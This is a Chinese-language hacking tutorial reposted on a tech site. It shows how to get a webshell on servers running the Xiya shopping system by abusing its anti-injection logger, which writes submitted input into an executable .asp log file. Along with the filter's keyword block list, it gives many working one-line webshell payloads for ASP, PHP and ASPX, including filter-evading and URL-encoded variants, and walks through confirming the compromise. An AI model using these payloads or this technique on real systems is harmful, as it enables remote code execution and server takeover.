首页 电脑 电脑学堂 查看内容

一句话木马在防注入中的重生(1)

2009-5-6 11:28 676 0

摘要:      对于目前流行的SQL注入,程序员在编写程序时,都普遍的加入防注入程序,有些防注入程序只要在我们提交一些非法的参数后,就会自动的记录下你的IP地址,提交...
关键词: allquery InStr 一句话 文件 非法 如图 ASP nbsp 参数 程序

     对于目前流行的SQL注入,程序员在编写程序时,都普遍的加入防注入程序,有些防注入程序只要在我们提交一些非法的参数后,就会自动的记录下你的IP地址,提交的非法参数和动作等,同时也把非法提交的数据写入了系统的后缀为ASP的文件中,这也给了我们一些可利用的地方,大家知道,一句话马就是利用程序过滤的不完全而写入的,按照这思路,我们是否可以在提交非法参数中加入一句话马而防注入程序就会记录我们提交的数据和一句话马并写入数据库,从而得到一个WEBSHELL呢?呵呵,答案是肯定的,但对于要写入的一句话马如何绕过过滤的程序,却是个难题,常见的一句话马格式为”<%execute request(“a”)%>,而<%%>就很难绕过HTML的过滤, 但我们可以通过不同的方法来绕过,下面我分别以二个系统来讲解: 例一:西亚购物系统的利用和分析: “西亚购物系统做了全面性安全处理,siacart.com '数据库防下载处理/CONN防止暴库处理/防止跨站脚本攻击/SQL注入式攻击防范/禁止脱机浏览工具/前台登陆验证码/后台登陆验证码/ '会员密码MD5加密/管理员密码MD5加密/数据来源安全性监测/sql注入代码过滤/HTML代码过滤及防护/管理员登陆日至记录/攻击记录及恶意IP屏蔽/非法操作代码日至记录 “ 当我们在参数提交非法参数时,弹出防注入的页面:如图1,和2     大家看到这时我们已转到”http://127.0.0.1/2005/Error.asp?allquery=id=381’的这个页面上了我们来看conn.asp文件中部分防注入的代码,代码太长就贴点关键,百度老说老子文章长 if InStr(allquery,"%20")<>0 or InStr(allquery,"%27")<>0 or InStr(allquery,"'")<>0 or InStr(allquery,"%a1a1")<>0 or InStr(allquery,"%24")<>0 or InStr(allquery,"$")<>0 or InStr(allquery,"%3b")<>0 or InStr(allquery,";")<>0 or InStr(allquery,":")<>0 or InStr(allquery,"%%")<>0 or InStr(allquery,"%3c")<>0 or InStr(allquery,"<")<>0 or InStr(allquery,">")<>0 or InStr(allquery,"--")<>0 or InStr(allquery,"sp_")<>0 or InStr(allquery,"xp_")<>0 or InStr(allquery,"exec")<>0 or InStr(allquery,"\")<>0 or InStr(allquery,"delete")<>0 or InStr(allquery,"dir")<>0 or InStr(allquery,"exe")<>0 or InStr(allquery,"select")<>0 or InStr(allquery,"Update")<>0 or InStr(allquery,"cmd")<>0 or InStr(allquery,"*")<>0 or InStr(allquery,"^")<>0 or InStr(allquery,"(")<>0 or InStr(allquery,")")<>0 or InStr(allquery,"+")<>0 or InStr(allquery,"copy")<>0 or InStr(allquery,"format")<>0 then%>     对提交的非法数据中包含以上被搜索到的字符串的话,就自动跳转到”Error.asp的页面去,而在”Error.asp文件中有以下部分代码: toppath = Server.Mappath("sia-log.asp") Set fs = CreateObject("scripting.filesystemobject") If Not Fs.FILEEXISTS(toppath) Then Set Ts = fs.createtextfile(toppath, True) . . Set Ts= Fs.OpenTextFile(toppath,1) Do While Not Ts.AtEndOfStream Errorlog = Errorlog & Ts.ReadLine & chr(13) & chr(10) 当你提交非法数据时,程序就会获得你的IP,并创建一个FSO对象,再利用FSO对象自动创建sia_log.asp文件,并将非法提交的字符写入文件中 打开” http://127.0.0.1/2005/sia-log.aspp页面,则看到文件记录了我们刚才提交的数据,如图: 这说明我们刚才的提交的非法参数已写入了这个文件中, 3:那么,我们在这个页面的参数后插入一句话如何,如图: 却没有弹出相应的对话框,说明没有写入到sia-log.as这个文件中,我们把地址换成” http://127.0.0.1/2005/Error.asp?allquery=id=381”再来试试,如图 提交后弹出我们希望看到的页面。 可我们再打开”sia-log.asp”文件却看到小马被过滤了成<execute request(“a”)> %号和"都过滤了。从这儿,我们知道%被过滤掉了而小写a旁双引号被转换了,大家自己比较下,好了,知道这点,我们就可以重新构造我们的小马了。其实绕过这个还是很简单的。因为一句话写法很多。 备份专用 <%eval(request("a")):response.end%> asp一句话<%execute(request("1"))%> php一句话<?php eval($_POST[1]);?> aspx一句话<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script> 可以躲过雷客图的一句话。<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1")ms.Language="VBScript"ms.AddObject "Response", Responsems.AddObject "request", requestms.ExecuteStatement("ev"&"al(request(""1""))")%> 不用'<,>'的asp一句话<script language=VBScript runat=server>execute request("1")</script> 不用双引号的一句话。<%eval request(chr(35))%> 这里我就用工具捣鼓一下,打开”注入字符转换器”这款工具,把”<%” ,“execute 和request之间的空格及”(“a”)%>”相应的进行转换,这样原一句话马就被加密成” %3C%25execute+request%28%22%61%22%29%25%3E” 或转换成<%25execute request(chr(97))%25>,分别提交后,我们打开sia-log.asp文件后,可以清楚看到,二次提交的一句马都成功的被写入到sia_log.asp文件中了,图 打开”http://127.0.0.1/2005/sia-log.asp,出现了”类型不匹配:’execute’,显示内部错误的IE选项显示好友错误钩掉就可以了。我们再用一句话客户端来接连上传后成功得到一个WEBSHELL。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部